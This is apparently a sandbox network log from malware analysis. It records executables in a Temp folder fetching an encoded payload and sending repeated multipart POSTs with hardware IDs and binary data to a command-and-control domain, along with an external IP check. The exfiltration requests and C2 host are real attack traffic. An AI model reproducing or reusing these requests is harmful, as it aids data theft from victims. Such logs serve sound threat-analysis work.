9zvWQcOLzTAmRJf1FekMMRCB0ivIYy2MvwhtRWGD3/rzJ/98ooah2Doo750dkT0tTZ2rF8hyNNGyKWR9ae7ih/en90yu2rW9Kn3rxCG1JDAMua8T0GYspZ8EcWk9o8fSwyeDaJ6GgeQCKO+JMZ0hKW24thLUTk3s3ijRaTWT07//zrc9mu+B5BsBsqEBvRk9QYW7C/gaLKWnHEk1bZvbzvtvn3i6hqXUDhTPsCCQFS0MuNYrUGYA3Zd0XH0It4b
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 32 69 36 74 72 58 4a 4b 7a 6e 54 76 55 43 6f 64 44 48 46 74 65 63 6e 2f 56 72 34 34 59 63 51 51 53 52 31 38 74 75 44 39 7a 75 47 51 63 4f 4b 74 66 77 4b 47 4a 75 64 46 61 55 74 43 56 47 74 69 77 76 55 55 68 6a 35 72 77 52 78 63 55 47 66 71 38 37 33 42 36 4e 45 69 71 4f 41 77 53 6f 63 73 71 42 41 71 64 46 74 51 4c 46 6a 4a 2b 78 71 4d 4c 53 2f 56 57 55 59 64 5a 50 53 35 35 59 6e 67 32 43 32 6e 72 33 38 41 6a 6a 48 69 52 47 4a 4c 54 30 6c 68 61 63 72 35 48 49 45 32 59 63 34 66 56 6c 5a 6f 2f 76 6d 38 77 36 32 65 61 4b 57 34 50 6c 4c 41 41 4f 39 45 5a 30 6f 4f 62 6d 31 6a 78 50 49 43 79 79 51 68 30 31 64 59 55 53 4f 67 75 62 48 41 37 64 73 69 70 71 42 35 42 34 55 33 37 30 74 6e 51 6b 5a 56 61 57 6e 47 2f 42 6d 4e 4f 32 6a 4f 45 6b 31 59 61 76 54 31 2f 59 65 Data Ascii: 2i6trXJKznTvUCodDHFtecn/Vr44YcQQSR18tuD9zuGQcOKtfwKGJudFaUtCVGtiwvUUhj5rwRxcUGfq873B6NEiqOAwSocsqBAqdFtQLFjJ+xqMLS/VWUYdZPS55Yng2C2nr38AjjHiRGJLT0lhacr5HIE2Yc4fVlZo/vm8w62eaKW4PlLAAO9EZ0oObm1jxPICyyQh01dYUSOgubHA7dsipqB5B4U370tnQkZVaWnG/BmNO2jOEk1YavT1/Ye
2024-12-19 02:09:31 UTC	167	IN	Data Raw: 65 35 6e 53 6f 63 34 71 42 41 71 54 45 56 4a 59 47 50 44 2b 42 4b 44 50 47 48 48 48 46 6c 57 5a 50 2f 2f 73 4d 48 67 31 53 75 6a 70 48 51 59 67 7a 2f 69 52 57 41 46 41 68 74 70 64 59 71 74 56 4b 77 33 52 74 6f 4d 54 55 73 6a 35 37 65 6b 69 65 72 63 61 50 72 67 66 51 57 4a 4f 2b 42 41 5a 55 70 49 56 57 68 72 78 2f 41 62 67 53 6c 6e 78 42 70 55 55 6d 6a 71 2b 62 44 4e 34 64 51 67 71 61 6f 2b 52 4d 41 7a 38 41 67 79 42 58 6c 57 59 57 33 4a 34 31 53 55 64 58 61 4b 45 46 4d 64 4f 37 6a 31 73 38 0d 0a Data Ascii: e5nSoc4qBAqTEVJYGPD+BKDPGHHHFlWZP//sMHg1SujpHQYgz/iRWAFAhtpdYqtVKw3RtoMTUsj57ekiercaPrgfQWJO+BAZUpIVWhrx/AbgSlnxBpUUmjq+bDN4dQgqao+RMAz8AgyBXlWYW3J41SUdXaKEFMdO7j1s8
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 33 63 64 61 0d 0a 6e 69 33 43 53 70 71 48 38 47 6a 6a 50 74 51 57 4a 4e 58 6c 70 71 5a 63 76 37 47 34 6f 2f 61 73 38 54 57 46 6c 6c 39 37 6e 7a 69 65 72 49 61 50 72 67 55 53 32 31 64 73 6c 79 4b 6c 6f 43 51 69 35 71 78 72 56 4d 79 7a 64 73 78 68 39 51 57 32 72 30 38 37 54 43 34 64 73 73 72 71 6c 37 44 49 45 78 37 55 6c 75 53 55 5a 64 62 57 37 46 2b 68 75 44 65 79 47 4b 45 45 63 64 4f 37 6a 63 71 73 4c 6a 31 6d 69 39 37 6d 64 4b 68 7a 69 6f 45 43 70 4a 52 56 31 6f 61 4d 62 30 45 6f 4d 2b 5a 38 34 57 57 56 74 67 39 2f 32 34 79 4f 4c 55 4a 4b 79 71 66 77 75 4d 50 2b 64 44 62 77 55 43 47 32 6c 31 69 71 31 55 75 6a 68 35 33 51 64 54 48 58 79 32 34 50 33 4f 34 5a 42 77 34 71 46 73 41 49 6f 36 37 55 64 76 52 6b 4e 63 59 32 76 47 2f 78 32 44 50 57 44 44 42 56 78 Data Ascii: 3cdani3CSpqH8GjjPtQWJNXlpqZcv7G4o/as8TWFll97nzierIaPrgUS21dslyKloCQi5qxrVMyzdsxh9QW2r087TC4dssrql7DIEx7UluSUZdbW7F+huDeyGKEEcdO7jcqsLj1mi97mdKhzioECpJRV1oaMb0EoM+Z84WWVtg9/24yOLUJKyqfwuMP+dDbwUCG2l1iq1Uujh53QdTHXy24P3O4ZBw4qFsAIo67UdvRkNcY2vG/x2DPWDDBVx
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 62 6e 45 37 63 49 6e 70 61 64 33 41 5a 49 2b 37 30 39 68 54 55 64 55 61 48 2f 47 2b 77 61 4f 4b 58 32 4b 57 52 39 61 65 37 69 68 2f 66 2f 71 77 44 69 68 34 6b 38 63 67 79 4c 6a 52 57 59 46 55 78 56 33 4c 63 33 35 56 4e 4e 37 61 63 55 65 58 46 4a 69 38 66 57 77 7a 4f 54 56 4b 61 53 6b 64 41 43 41 4d 75 35 4a 62 30 39 50 57 6d 52 6b 7a 66 30 54 69 43 6b 76 68 46 64 59 52 53 4f 67 75 5a 54 4f 2f 39 34 34 34 72 38 77 45 38 41 7a 35 41 67 79 42 55 68 52 59 57 6e 4e 2b 52 4b 4f 50 57 4c 4c 47 46 35 64 62 50 7a 79 74 4d 2f 73 33 53 32 76 70 47 77 41 69 7a 76 6b 51 57 5a 49 44 42 55 75 61 74 4b 31 54 4d 73 4b 59 73 51 5a 57 45 73 6a 35 37 65 6b 69 65 72 63 61 50 72 67 66 77 61 50 4e 2b 64 4c 61 55 52 47 53 58 78 68 77 2f 30 52 68 7a 42 68 7a 41 56 5a 55 6d 72 37 Data Ascii: bnE7cInpad3AZI+709hTUdUaH/G+waOKX2KWR9ae7ih/f/qwDih4k8cgyLjRWYFUxV3Lc35VNN7acUeXFJi8fWwzOTVKaSkdACAMu5Jb09PWmRkzf0TiCkvhFdYRSOguZTO/9444r8wE8Az5AgyBUhRYWnN+RKOPWLLGF5dbPzytM/s3S2vpGwAizvkQWZIDBUuatK1TMsKYsQZWEsj57ekiercaPrgfwaPN+dLaURGSXxhw/0RhzBhzAVZUmr7
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 32 51 5a 75 4b 78 65 52 76 41 62 50 35 59 66 55 4a 54 46 58 63 74 7a 66 6c 55 30 33 74 70 77 78 46 59 57 32 33 71 2f 4c 76 47 34 74 6b 68 70 71 68 39 43 6f 51 77 37 30 31 70 53 55 64 63 62 57 4c 4f 2f 42 71 43 4e 43 2b 45 56 31 68 46 49 36 43 35 6e 4e 4c 75 33 43 58 69 76 7a 41 54 77 44 50 6b 43 44 49 46 51 46 56 72 62 63 44 7a 45 49 34 39 5a 63 38 58 56 46 35 73 2f 50 2b 35 78 75 33 62 49 61 4f 6d 65 77 43 4c 4d 75 56 4c 62 45 4d 4d 46 53 35 71 30 72 56 4d 79 78 74 30 78 78 74 59 48 58 79 32 34 50 33 4f 34 5a 42 77 34 71 74 79 44 6f 63 30 35 55 74 69 51 45 68 52 61 32 33 43 35 78 79 4c 50 48 33 59 46 31 5a 59 62 2f 76 35 75 63 2f 6b 31 69 75 6d 34 44 42 4b 68 79 79 6f 45 43 70 6f 51 46 78 48 61 74 47 31 43 38 55 69 4c 38 30 62 48 77 55 6a 2b 66 4b 33 78 Data Ascii: 2QZuKxeRvAbP5YfUJTFXctzflU03tpwxFYW23q/LvG4tkhpqh9CoQw701pSUdcbWLO/BqCNC+EV1hFI6C5nNLu3CXivzATwDPkCDIFQFVrbcDzEI49Zc8XVF5s/P+5xu3bIaOmewCLMuVLbEMMFS5q0rVMyxt0xxtYHXy24P3O4ZBw4qtyDoc05UtiQEhRa23C5xyLPH3YF1ZYb/v5uc/k1ium4DBKhyyoECpoQFxHatG1C8UiL80bHwUj+fK3x
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 73 34 48 39 4b 32 41 33 78 43 48 77 46 46 41 6b 67 4c 64 69 31 54 4d 74 38 62 4e 67 46 57 56 35 31 2b 37 36 44 39 38 72 47 49 71 57 77 65 52 32 50 64 4b 59 49 5a 51 55 55 59 69 35 6b 7a 65 34 46 6e 54 5a 2f 7a 56 64 67 45 79 50 67 75 65 57 4a 32 4e 4d 6d 72 4b 64 6f 47 38 30 54 2f 6b 4a 74 56 55 74 4d 59 53 32 45 74 52 4c 4c 59 7a 79 45 56 31 74 4d 49 36 43 70 37 35 4b 34 67 33 2f 79 38 6d 46 45 6d 58 54 2b 43 44 49 58 41 68 74 38 4c 5a 4b 31 55 34 67 70 66 63 77 55 53 56 34 6b 78 73 65 61 30 2b 44 57 50 37 4f 65 51 41 32 61 4f 65 35 66 65 77 6c 5a 57 47 42 6a 7a 65 4e 55 78 58 74 67 69 6b 39 6d 48 53 75 34 78 76 4f 4a 39 5a 42 77 34 70 56 39 42 49 34 7a 2f 6c 6b 6e 59 6c 5a 57 61 48 72 62 74 56 72 4c 50 53 2b 53 52 78 45 64 5a 2b 6d 35 35 5a 6d 2f 69 33 Data Ascii: s4H9K2A3xCHwFFAkgLdi1TMt8bNgFWV51+76D98rGIqWweR2PdKYIZQUUYi5kze4FnTZ/zVdgEyPgueWJ2NMmrKdoG80T/kJtVUtMYS2EtRLLYzyEV1tMI6Cp75K4g3/y8mFEmXT+CDIXAht8LZK1U4gpfcwUSV4kxsea0+DWP7OeQA2aOe5fewlZWGBjzeNUxXtgik9mHSu4xvOJ9ZBw4pV9BI4z/lknYlZWaHrbtVrLPS+SRxEdZ+m55Zm/i3
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 47 70 63 37 31 6e 5a 2f 52 6b 4a 56 61 58 76 62 74 56 72 4c 4e 43 2b 53 4c 68 38 56 49 38 65 33 2f 64 47 74 69 47 69 58 6f 33 41 45 68 79 4c 35 42 55 31 4c 53 31 70 34 66 64 33 36 56 4d 56 37 61 59 70 50 44 52 4d 6a 2f 4f 6a 39 6b 62 32 43 63 2f 66 7a 4b 56 72 53 4b 36 5a 52 4b 6c 4d 4d 41 7a 77 6a 69 75 64 55 30 33 73 6f 79 51 56 4e 57 32 44 75 2b 76 72 33 30 2f 63 6d 70 61 46 6f 47 70 63 37 70 32 5a 63 5a 48 4a 6c 65 32 37 45 2b 78 4f 64 4b 69 2b 45 56 31 41 64 4f 38 47 35 39 59 6e 53 6e 6d 69 36 34 43 5a 4b 74 54 66 6d 52 6d 31 54 58 52 5a 4a 59 38 33 30 41 70 73 73 59 49 55 35 61 58 77 6a 74 72 6d 37 69 62 57 43 5a 75 4b 6b 62 30 72 59 5a 4c 6f 54 50 78 59 62 43 7a 78 79 68 4f 78 55 6e 58 73 33 6d 46 6b 66 54 79 4f 67 75 66 72 4b 2f 38 49 75 6f 62 5a Data Ascii: Gpc71nZ/RkJVaXvbtVrLNC+SLh8VI8e3/dGtiGiXo3AEhyL5BU1LS1p4fd36VMV7aYpPDRMj/Oj9kb2Cc/fzKVrSK6ZRKlMMAzwjiudU03soyQVNW2Du+vr30/cmpaFoGpc7p2ZcZHJle27E+xOdKi+EV1AdO8G59YnSnmi64CZKtTfmRm1TXRZJY830ApssYIU5aXwjtrm7ibWCZuKkb0rYZLoTPxYbCzxyhOxUnXs3mFkfTyOgufrK/8IuobZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49893	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:33 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZHLBJJS9ZDMKHIHHEAR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12836 Host: cheapptaxysu.click
2024-12-19 02:09:33 UTC	12836	OUT	Data Raw: 2d 2d 5a 48 4c 42 4a 4a 53 39 5a 44 4d 4b 48 49 48 48 45 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 45 30 43 39 36 32 42 30 45 39 45 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 48 4c 42 4a 4a 53 39 5a 44 4d 4b 48 49 48 48 45 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 48 4c 42 4a 4a 53 39 5a 44 4d 4b 48 49 48 48 45 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a Data Ascii: --ZHLBJJS9ZDMKHIHHEARContent-Disposition: form-data; name="hwid"5DE0C962B0E9E0D4AC8923850305D13E--ZHLBJJS9ZDMKHIHHEARContent-Disposition: form-data; name="pid"2--ZHLBJJS9ZDMKHIHHEARContent-Disposition: form-data; name="lid"CZJvss--
2024-12-19 02:09:34 UTC	1137	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ek7eriefrjjqb29v417g5rteev; expires=Sun, 13 Apr 2025 19:56:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G9Q%2BBd4tVGwhoVjgrp44AOv5m9rrV%2F2RJYNwKy9DcPinJzAZ7mi2zBLkmN%2Fa2qzh6u%2B8QVuIzCqj%2B9Zyv3CcIEh0M1WEUNoBH2j4b3Z%2BaP3nwWZ2xrm5oVWuyZ1Ss2i3XCs5ftk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43d9e9cbe842f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1713&min_rtt=1700&rtt_var=663&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13779&delivery_rate=1618625&cwnd=232&unsent_bytes=0&cid=b74b953173ee150b&ts=880&x=0"
2024-12-19 02:09:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 02:09:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49899	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:35 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PIX618S5HIQ7M8XL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15060 Host: cheapptaxysu.click
2024-12-19 02:09:35 UTC	15060	OUT	Data Raw: 2d 2d 50 49 58 36 31 38 53 35 48 49 51 37 4d 38 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 45 30 43 39 36 32 42 30 45 39 45 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 49 58 36 31 38 53 35 48 49 51 37 4d 38 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 49 58 36 31 38 53 35 48 49 51 37 4d 38 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 50 49 58 36 31 38 53 Data Ascii: --PIX618S5HIQ7M8XLContent-Disposition: form-data; name="hwid"5DE0C962B0E9E0D4AC8923850305D13E--PIX618S5HIQ7M8XLContent-Disposition: form-data; name="pid"2--PIX618S5HIQ7M8XLContent-Disposition: form-data; name="lid"CZJvss----PIX618S
2024-12-19 02:09:36 UTC	1132	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fm0led7akv0qghjb8cnvgtjgpr; expires=Sun, 13 Apr 2025 19:56:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l5tOH%2FwQKgiJWEwp6WuF5VNX03XCt%2BbblgdVHqelhNBbcgpAXbTQ0F6Sj%2FMAZef4VM5Rg79syjkxMfhj2cU9qqkHpwF5RA%2FIEGdCcukQxw1rDiX5QLfIQVzb2PHgEQA7TppE2hc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43d9f7481641b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1567&rtt_var=609&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2843&recv_bytes=16000&delivery_rate=1767554&cwnd=217&unsent_bytes=0&cid=9b9ae1e8c689ed42&ts=873&x=0"
2024-12-19 02:09:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 02:09:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49905	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:38 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3P1J03KAJY8RISBKR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20556 Host: cheapptaxysu.click
2024-12-19 02:09:38 UTC	15331	OUT	Data Raw: 2d 2d 33 50 31 4a 30 33 4b 41 4a 59 38 52 49 53 42 4b 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 45 30 43 39 36 32 42 30 45 39 45 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 50 31 4a 30 33 4b 41 4a 59 38 52 49 53 42 4b 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 50 31 4a 30 33 4b 41 4a 59 38 52 49 53 42 4b 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 33 50 31 4a Data Ascii: --3P1J03KAJY8RISBKRContent-Disposition: form-data; name="hwid"5DE0C962B0E9E0D4AC8923850305D13E--3P1J03KAJY8RISBKRContent-Disposition: form-data; name="pid"3--3P1J03KAJY8RISBKRContent-Disposition: form-data; name="lid"CZJvss----3P1J
2024-12-19 02:09:38 UTC	5225	OUT	Data Raw: 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 Data Ascii: MMZh'F3Wun 4F([:7s~X`nO`i
2024-12-19 02:09:39 UTC	1132	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oernfsm21kffti8gg6v9ai290i; expires=Sun, 13 Apr 2025 19:56:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fyrI5Ti3HPnc2uCuBV%2FY0b93P%2FD6kWo4m9bpOCBcLmLkCjRV4L6VDXc7ujM13anMPb6y0vQVXpqyZSjXFLcUst%2Bw0vhxm0GsVVSISQ7b8Lpp3GkFJRJGY2g8mGUk95uUz3LnrBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43da060a8aefa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=2000&rtt_var=750&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21519&delivery_rate=1460000&cwnd=140&unsent_bytes=0&cid=32113b4e05692239&ts=1005&x=0"
2024-12-19 02:09:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 02:09:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49914	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:41 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FPS6NVFEDJHV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1218 Host: cheapptaxysu.click
2024-12-19 02:09:41 UTC	1218	OUT	Data Raw: 2d 2d 46 50 53 36 4e 56 46 45 44 4a 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 45 30 43 39 36 32 42 30 45 39 45 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 50 53 36 4e 56 46 45 44 4a 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 50 53 36 4e 56 46 45 44 4a 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 46 50 53 36 4e 56 46 45 44 4a 48 56 0d 0a 43 6f 6e 74 65 Data Ascii: --FPS6NVFEDJHVContent-Disposition: form-data; name="hwid"5DE0C962B0E9E0D4AC8923850305D13E--FPS6NVFEDJHVContent-Disposition: form-data; name="pid"1--FPS6NVFEDJHVContent-Disposition: form-data; name="lid"CZJvss----FPS6NVFEDJHVConte
2024-12-19 02:09:42 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t5n2uum8oas442c569ecj1sep7; expires=Sun, 13 Apr 2025 19:56:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qsYwwvla0LMrYVJIPp2rXU7A9H0AUpSe%2BOpvy9vcuE4kC%2Bji9f4eLVMlDdVqCRQ1hFSSW2HXuT8S%2FymuRszFrRDQ4ad1oBUjQkx%2BxQcQunEy4M1R87U598dCVUK6i7bZYspLcgI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43da1d1c294380-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1667&rtt_var=646&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2131&delivery_rate=1668571&cwnd=220&unsent_bytes=0&cid=7a1fbf8ad575863e&ts=813&x=0"
2024-12-19 02:09:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 02:09:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49919	34.226.108.155	443	2164	C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:43 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-19 02:09:43 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:43 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-19 02:09:43 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49924	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
